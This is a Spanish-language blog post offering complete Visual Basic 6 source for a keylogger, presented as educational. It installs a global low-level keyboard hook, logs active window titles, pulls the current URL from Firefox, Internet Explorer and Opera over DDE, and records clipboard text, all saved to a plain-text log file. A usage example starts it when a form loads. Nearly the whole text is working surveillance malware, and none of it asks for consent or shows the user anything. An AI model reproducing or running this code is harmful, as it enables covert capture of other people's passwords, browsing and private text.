Leandro Ascierto

Este es un módulo .bas de un Keylogger, sirve para capturar las pulsaciones del teclado y almacenarlas en un fichero de texto plano, trae como adicional poder almacenar el título de la ventana activa, la URL en caso de que dicha ventana sea un navegador y el texto del portapapeles. Está hecho con fines educativos, los métodos empleados son Hook al teclado, Hook de la ventana activa, conversación DDE para las URL y Hook del portapapeles. Vale destacar que no utiliza ningún tipo de timer para cualquiera de estas operaciones, lo cual hace que sea más eficiente y consuma menos procesador.

Módulo:

Option Explicit
'------------------------------------
'Autor:   Leandro Ascierto
'Web:     www.leandroascierto.com
'Fecha:   13-02-2010
'save input Keys, Active Widows, Url from Navigators and clipboard
'------------------------------------
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long
Private Declare Function RegisterWindowMessage Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Private Declare Function RegisterShellHook Lib "Shell32" Alias "#181" (ByVal hwnd As Long, ByVal nAction As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32.dll" (ByVal wFormat As Long) As Long
Private Declare Function SetClipboardViewer Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function DdeInitialize Lib "user32" Alias "DdeInitializeA" (pidInst As Long, ByVal pfnCallback As Long, ByVal afCmd As Long, ByVal ulRes As Long) As Integer
Private Declare Function DdeCreateStringHandle Lib "user32" Alias "DdeCreateStringHandleA" (ByVal idInst As Long, ByVal psz As String, ByVal iCodePage As Long) As Long
Private Declare Function DdeConnect Lib "user32" (ByVal idInst As Long, ByVal hszService As Long, ByVal hszTopic As Long, pCC As Any) As Long
Private Declare Function DdeFreeStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long
Private Declare Function DdeUninitialize Lib "user32" (ByVal idInst As Long) As Long
Private Declare Function DdeClientTransaction Lib "user32.dll" (ByRef pData As Byte, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, ByRef pdwResult As Long) As Long
Private Declare Function DdeAccessData Lib "user32.dll" (ByVal hData As Long, ByRef pcbDataSize As Long) As Long
Private Declare Function DdeUnaccessData Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeFreeDataHandle Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeDisconnect Lib "user32.dll" (ByVal hConv As Long) As Long
Private Declare Function DdeGetLastError Lib "user32.dll" (ByVal idInst As Long) As Long
Private Declare Function lstrlenW Lib "kernel32" (ByVal lpString As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)

Private Const XCLASS_DATA               As Long = &H2000
Private Const XTYP_REQUEST              As Long = (&HB0 Or XCLASS_DATA)

Private Const CP_WINANSI                As Long = 1004
Private Const CF_TEXT                   As Long = 1

Private Const WM_SETTEXT                As Long = &HC
Private Const WM_GETTEXTLENGTH          As Long = &HE
Private Const WM_GETTEXT                As Long = &HD

Private Const RSH_REGISTER_TASKMAN      As Long = 3
Private Const HSHELL_WINDOWACTIVATED    As Long = 4
Private Const WH_KEYBOARD_LL            As Long = 13
Private Const SHELLHOOKMESSAGE          As String = "SHELLHOOK"
Private Const GWL_WNDPROC               As Long = -4

Private Const ES_MULTILINE              As Long = &H4&
Private Const ES_AUTOVSCROLL            As Long = &H40&
Private Const ES_AUTOHSCROLL            As Long = &H80&

Private Const WM_IME_KEYDOWN            As Long = &H290
Private Const WM_SYSKEYDOWN             As Long = &H104
Private Const WM_KEYDOWN                As Long = &H100
Private Const WM_KEYUP                  As Long = &H101
Private Const WM_DRAWCLIPBOARD          As Long = &H308

Private WM_SHELLHOOK                    As Long
Private hEdit                           As Long
Private hHook                           As Long
Private WinProc                         As Long
Private hFile                           As Integer
Private LastActiveWindow                As Long

Public Function StarKeyLogger(ByVal DestPath As String) As Boolean

    If hEdit Then Exit Function

    hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0)

    If hEdit <> 0 Then
        hFile = FreeFile
        Open DestPath For Append As #hFile
        hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
        WM_SHELLHOOK = RegisterWindowMessage(SHELLHOOKMESSAGE)
        RegisterShellHook hEdit, RSH_REGISTER_TASKMAN
        SetClipboardViewer hEdit
        WinProc = SetWindowLong(hEdit, GWL_WNDPROC, AddressOf WndProc)
        StarKeyLogger = True
    End If

End Function

Public Function EndKeyLogger() As Boolean
    If hEdit <> 0 Then
        Call UnhookWindowsHookEx(hHook)
        Call SetWindowLong(hEdit, GWL_WNDPROC, WinProc)
        If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hEdit)
        DestroyWindow hEdit: hEdit = 0
        Close #hFile
        EndKeyLogger = True
    End If
End Function

Private Function WndProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    On Error Resume Next

    Dim sRet As String

    WndProc = CallWindowProc(WinProc, hwnd, uMsg, wParam, lParam)

    Select Case uMsg
        Case WM_SHELLHOOK

            If wParam = HSHELL_WINDOWACTIVATED Then
                If lParam <> 0 And LastActiveWindow <> lParam Then
                    LastActiveWindow = lParam

                    If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hwnd)

                    Select Case ClassNameOf(lParam)
                        Case "MozillaUIWindowClass", "MozillaWindowClass"
                            sRet = GetBrowserInfo("firefox")
                        Case "IEFrame"
                            sRet = GetBrowserInfo("iexplore")
                        Case "OpWindow"
                            sRet = GetBrowserInfo("opera")
                    End Select

                    If sRet <> "" Then
                        SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & sRet & vbCrLf & String(100, "-") & vbCrLf
                    Else
                        SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & String(100, "-") & vbCrLf
                    End If

                End If

            End If

        Case WM_DRAWCLIPBOARD
            If IsClipboardFormatAvailable(vbCFText) <> 0 Then
                If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hwnd)
                SaveLog "[" & Now & "] Portapaples: " & vbCrLf & String(100, "-") & vbCrLf _
                    & Clipboard.GetText & vbCrLf & String(100, "-") & vbCrLf
            End If
    End Select

End Function

Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
    On Error Resume Next

    Select Case wParam

        Case WM_KEYDOWN
            If lParam <> 222 And lParam <> 186 And lParam <> 162 And lParam <> 20 Then
                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
            End If

        Case WM_SYSKEYDOWN
            If lParam = 162 Or lParam = 165 Or lParam = 50 Then
                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
            End If

    End Select

End Function

Private Function GetBrowserInfo(ByVal sServer As String) As String

    Dim lpData  As Long, hData   As Long, sData  As String
    Dim hServer As Long, hTopic  As Long, hItem  As Long
    Dim hConv   As Long, idInst  As Long

    Const sTopic = "WWW_GetWindowInfo"
    Const sItem = "0xFFFFFFFF"

    If DdeInitialize(idInst, 0, 0, 0) <> 0 Then Exit Function

    hServer = DdeCreateStringHandle(idInst, sServer, CP_WINANSI)
    hTopic = DdeCreateStringHandle(idInst, sTopic, CP_WINANSI)
    hItem = DdeCreateStringHandle(idInst, sItem, CP_WINANSI)

    hConv = DdeConnect(idInst, hServer, hTopic, ByVal 0&)

    If hConv Then
        hData = DdeClientTransaction(0, 0, hConv, hItem, CF_TEXT, XTYP_REQUEST, 1000, 0)
        lpData = DdeAccessData(hData, 0)
        GetBrowserInfo = PtrToString(lpData)

        DdeUnaccessData hData
        DdeFreeDataHandle hData
        DdeDisconnect hConv
    End If

    DdeFreeStringHandle idInst, hServer
    DdeFreeStringHandle idInst, hTopic
    DdeFreeStringHandle idInst, hItem
    DdeUninitialize idInst

End Function

Private Function GetWindowTextLength(ByVal hwnd As Long) As Long
    GetWindowTextLength = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&)
End Function

Private Function GetWindowText(ByVal hwnd As Long) As String
    Dim TextLen As Long
    TextLen = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&)
    GetWindowText = String(TextLen, Chr$(0))
    SendMessage hwnd, WM_GETTEXT, TextLen + 1, GetWindowText
End Function

Private Sub SaveLog(ByVal sText As String)
    Print #hFile, sText
    SendMessage hEdit, WM_SETTEXT, 0&, vbNullString
End Sub

 Private Function ClassNameOf(ByVal hwnd As Long) As String
    Dim sClassName As String, Ret As Long
    sClassName = Space(256)
    Ret = GetClassName(hwnd, sClassName, 256)
    If Ret Then ClassNameOf = Left$(sClassName, Ret)
 End Function

 Private Function PtrToString(lpwString As Long) As String
   Dim Buffer() As Byte
   Dim nLen As Long
   If lpwString Then
      nLen = lstrlenW(lpwString) * 2
      If nLen Then
         ReDim Buffer(0 To (nLen - 1)) As Byte
         CopyMemory Buffer(0), ByVal lpwString, nLen
         PtrToString = StrConv(Buffer, vbUnicode)
      End If
   End If
End Function

Ejemplo de Uso:

Option Explicit

Private Sub Form_Load()
    'Inicializamos el KeyLogger
    StarKeyLogger (App.Path & "\Log.txt")
End Sub

Private Sub Form_Unload(Cancel As Integer)
    'Detenemos el KeyLogger
    Call EndKeyLogger
End Sub